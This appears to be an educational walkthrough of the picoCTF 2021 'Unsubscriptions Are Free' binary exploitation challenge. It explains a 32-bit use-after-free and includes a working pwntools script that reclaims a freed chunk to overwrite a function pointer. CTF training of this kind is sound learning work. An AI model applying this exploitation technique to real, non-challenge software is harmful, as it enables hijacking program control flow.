Skip to main content

Unsubscriptions Are Free picoCTF 2021 Solution

A binary exploitation challenge built around unsafe reuse of freed memory on the heap.

Published: April 2, 2026Updated: August 13, 2026

Description

Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT

Remote

Download the binary and analyze it.

Install pwntools.

Find the port on the instance launch panel and substitute it for <PORT_FROM_INSTANCE>.

bash
wget <url>/vuln
bash
chmod +x vuln
bash
checksec vuln
bash
pip install pwntools

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Identify the use-after-free vulnerability
    Observation
    The description names a use-after-free outright and the binary is called vuln. Disassemble it to find where a heap pointer is freed without being nulled, then reused through the dangling reference.
    Disassemble vuln (32-bit x86, little-endian). It allocates a user struct on the heap with two 4-byte fields: a function pointer (whatToDo) and a username pointer. The 'I' (inquire about deletion) path frees the struct without nulling the global pointer, leaving a dangling reference.
    bash
    objdump -d vuln | grep -A20 '<main>'
    bash
    nm vuln | grep haha   # find the win symbol hahaexploitgobrrr
    What didn't work first

    Tried: Run strings vuln hoping to find the win function name and its address directly.

    strings prints hahaexploitgobrrr as a name and gives you no address. Addresses only exist after linking and come from nm or readelf -s; strings scans for printable character runs and knows nothing about the symbol table.

    Tried: Use Ghidra to look for a buffer overflow or stack smash rather than a heap UAF.

    Ghidra decompiles the allocation and free paths clearly, but studying the stack frames turns up nothing: the struct is heap-allocated and there is no classic overflow here. The bug is a freed pointer that was never nulled, and it only becomes visible when you trace the doProcess indirect call back to the user pointer after the free.

    Learn more

    A use-after-free (UAF) bug occurs when the program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by a subsequent allocation of the same size; whatever the new owner writes there shows through the dangling pointer. See heap exploitation for the broader playbook.

  2. Step 2Find the function-pointer fire site
    Observation
    The user struct holds a whatToDo function pointer. Find the indirect call in the disassembly to pin down exactly when and where the program dereferences it, which is when an overwrite would fire.
    The function pointer fires in the main loop: after every menu action, main calls doProcess(user), which dereferences user_ptr->whatToDo and calls it. Because user_ptr is never nulled after free, the dangling pointer is live on every iteration. Confirm the indirect call in objdump: it appears as call DWORD PTR [eax] (32-bit, not QWORD).
    bash
    objdump -d vuln | grep -B2 -A1 'call.*\['
    What didn't work first

    Tried: Search for call instructions using grep 'call' without filtering for indirect calls through a register or memory operand.

    Plain grep 'call' matches hundreds of direct call sites (PLT stubs, library calls) and buries the one indirect call DWORD PTR [eax] that is the actual fire site. Filtering for 'call.*\[' isolates only the indirect call-through-pointer patterns, making the dangerous site visible.

    Tried: Assume the function pointer fires immediately when the menu option is chosen, without looking for a secondary dispatch function.

    The pointer does not fire inside the menu branch. It fires in doProcess(), which main() calls after every branch returns. Miss that post-branch call and the use-after-free window looks far too narrow, when in fact every later menu iteration is a viable trigger.

  3. Step 3Reclaim the chunk, overwrite the fn pointer
    Observation
    The leave-message path allocates an 8-byte buffer, the same size as the freed user struct. tcache is LIFO, so it hands that exact chunk back, which lets you overwrite whatToDo with the address of hahaexploitgobrrr.
    Send 'I' and confirm with 'Y' to free the user struct. Then send 'L' to leave a message: this calls malloc(8), which tcache hands back the just-freed chunk. Writing p32(win) + p32(0) overwrites whatToDo with the win address. On the very next main-loop iteration, doProcess(user) calls user->whatToDo() and lands in hahaexploitgobrrr.
    python
    python3 - <<'EOF'
    from pwn import *
    
    elf = ELF('./vuln')
    win = elf.sym['hahaexploitgobrrr']
    
    p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>)
    
    p.sendlineafter(b'>', b'S')           # leak: prints hahaexploitgobrrr address
    p.sendlineafter(b'>', b'I')           # inquire about deletion: free(user); ptr not nulled
    p.sendlineafter(b'(Y/N)?', b'Y')
    
    p.sendlineafter(b'>', b'L')           # leave message: malloc(8) reuses freed chunk
    p.sendlineafter(b'message:', p32(win) + p32(0))
    
    # main loop calls doProcess(user) -> user->whatToDo() -> hahaexploitgobrrr
    print(p.recvall(timeout=2).decode(errors='ignore'))
    EOF

    Expected output

    picoCTF{d0ubl3_j30p4rdy_...}
    What didn't work first

    Tried: Pack the win address with p64(win) instead of p32(win) when writing the reclaim payload.

    checksec shows a 32-bit ELF, so pointers are 4 bytes wide rather than 8. p64 writes 8 bytes for the address alone, which overruns the 8-byte chunk and corrupts adjacent heap metadata, so the exploit either segfaults inside malloc's unlink or lands in the wrong field. Use two 4-byte packs to match the user struct's two fields exactly.

    Tried: Send the 'L' (leave message) option before sending 'I' + 'Y' to free the struct, thinking the allocation order does not matter.

    tcache reuse only works once the chunk has been freed. Leave the message first and you allocate a fresh chunk at a different address, while the user struct is still live and its whatToDo field untouched. Free before the reclaiming allocation, so tcache's LIFO policy returns the same chunk.

    Learn more

    Step-by-step heap state. This is a 32-bit binary, so the user struct is 8 bytes (two 4-byte pointers: whatToDo and username). The message buffer from 'L' is also 8 bytes, landing in the same tcache bin:

    (1) [S] Subscribe leak:
                       user_ptr already allocated; hahaexploitgobrrr addr printed
    
    (2) [I + Y] Inquire/delete: free(user);
                       heap: [size=0x10 | fd: NULL]   <- now in tcache[0x10]
                       user_ptr STILL POINTS HERE (dangling)
    
    (3) [L] Leave message: msg = malloc(8); read(fd, msg, 8);   // p32(win)+p32(0)
                       tcache[0x10] LIFO -> returns the same chunk
                       heap: [size=0x10 | whatToDo: <win> | username: 0]
                       user_ptr->whatToDo == win   (aliased)
    
    (4) main loop:    doProcess(user) -> user->whatToDo()
                       jumps to hahaexploitgobrrr -> flag

    Why p32? The binary is 32-bit (confirmed by checksec), so pointers are 4 bytes. p32(win) packs the win address as a little-endian 4-byte value, followed by 4 null bytes for the username pointer field. The program reads exactly 8 bytes into the message slot, overwriting both fields of the now-freed user struct.

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.

Flag

Reveal flag

picoCTF{d0ubl3_j30p4rdy_...}

After free(), the memory can be reclaimed by the next malloc of the same size. Writing a function address there overwrites the struct's function pointer through the dangling reference.

Key takeaway

Use-after-free bugs come from a pointer left un-nulled after its memory is freed, so a later allocation of the same size reclaims the chunk and the stale pointer writes into it. When the overwritten field is a function pointer, the attacker chooses where execution jumps on the next indirect call. It stays among the most exploited classes in browser engines, kernels, and C and C++ server software, and mitigations like tcache safe-linking and pointer authentication slow it without eliminating it.

Related reading

Useful tools for Binary Exploitation

Where to go next